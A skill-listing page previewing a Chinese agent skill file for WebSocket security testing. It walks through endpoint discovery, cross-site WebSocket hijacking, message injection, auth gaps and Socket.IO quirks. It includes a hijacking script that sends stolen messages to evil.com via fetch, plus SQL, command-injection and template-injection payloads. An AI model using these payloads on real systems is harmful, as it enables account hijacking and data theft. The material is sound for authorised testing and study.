Skip to main content

websocket-attack

WebSocket 安全测试。当目标使用 ws:// 或 wss:// 协议、页面 JS 中有 new WebSocket() 调用、或发现 101 Switching Protocols 响应时使用。覆盖 WS 劫持(CSWSH)、消息注入、认证绕过、信息泄露

소스 정보

저장소
wgpsec/AboutSecurity
최근 소스 활동
2026년 4월 23일 03:16
감지된 SKILL.md 언어
중국어
스타
1,807
포크
250

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

파일 탐색기
4 개 파일

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
websocket-attack
description
WebSocket 安全测试。当目标使用 ws:// 或 wss:// 协议、页面 JS 中有 new WebSocket() 调用、或发现 101 Switching Protocols 响应时使用。覆盖 WS 劫持(CSWSH)、消息注入、认证绕过、信息泄露
metadata
{"tags":"websocket,ws,wss,cswsh,hijack,real-time,socket,upgrade","category":"exploit"}
# WebSocket 安全测试方法论 WebSocket 提供全双工通信,但安全机制常被忽略——没有同源策略的自动保护、没有 CSRF token 的标准实践。 ## Phase 1: 发现 WebSocket 端点 ### 1.1 页面分析 在 JS 源码中搜索: - `new WebSocket(` - `ws://` 或 `wss://` - `socket.io`(Socket.IO 库) - `.onmessage`, `.send(` ### 1.2 网络层识别 - HTTP 101 响应 + `Upgrade: websocket` 头 - 常见路径:`/ws`, `/websocket`, `/socket.io/`, `/cable`(ActionCable) ## Phase 2: Cross-Site WebSocket Hijacking (CSWSH) WebSocket 握手是 HTTP Upgrade 请求,浏览器会自动携带 Cookie。如果服务端不检查 Origin 头→可跨站劫持。 ### 2.1 检测 ``` http_request url="http://target/ws" method="GET" headers={"Upgrade":"websocket","Connection":"Upgrade","Sec-WebSocket-Version":"13","Sec-WebSocket-Key":"dGhlIHNhbXBsZSBub25jZQ==","Origin":"https://evil.com"} ``` 如果返回 101 → Origin 未校验 → 可劫持。 ### 2.2 利用 ```html <script> var ws = new WebSocket("wss://target.com/ws"); ws.onopen = function() { ws.send('{"action":"getProfile"}'); }; ws.onmessage = function(e) { // 窃取数据 fetch("http://evil.com/log?d=" + encodeURIComponent(e.data)); }; </script> ``` ## Phase 3: 消息注入 ### 3.1 常见注入点 WebSocket 消息通常是 JSON,测试注入: **SQL 注入**: ```json {"action":"search","query":"' OR 1=1--"} ``` **命令注入**: ```json {"action":"ping","host":"127.0.0.1; cat /flag.txt"} ``` **SSTI**: ```json {"action":"render","template":"{{7*7}}"} ``` ### 3.2 认证绕过 某些 WS 实现在握手时认证,但消息级别不检查权限: - 连接后发送管理员操作消息 - 修改消息中的 user_id/role 字段 - 发送未公开的 action 类型(从 JS 源码中发现) ## Phase 4: 信息泄露 WebSocket 常用于实时功能,可能泄露: - 其他用户的聊天消息 - 系统通知(含内部信息) - 实时日志/调试信息 - 管理操作的广播 监听所有消息,不急于发送——有时被动监听就能获取敏感数据。 ## Phase 5: Socket.IO 特殊处理 Socket.IO 使用自己的协议格式: - 消息格式:`42["event_name",{data}]`(4=message, 2=event) - 先用 HTTP 轮询再升级 WS:`/socket.io/?EIO=4&transport=polling` - 命名空间:可以连接 `/admin` 命名空间试图访问管理功能 ### 5.1 Socket.IO 枚举 - 事件名枚举:搜索 JS 源码查找隐藏事件名 ### 5.2 认证缺口 - 握手时有认证但消息级别不检查权限(认证不一致/权限缺口) ## 深入参考 - WebSocket 高级利用技术(CSWSH 深入/SockJS/走私/认证提取) → [references/websocket-exploitation.md](references/websocket-exploitation.md) ## Phase 6: 注意事项 - WebSocket 不受浏览器同源策略保护(只靠服务端 Origin 检查) - 消息内容通常无自动编码/转义,注入风险高 - 长连接意味着可以持续监听和注入
GitHub에서 보기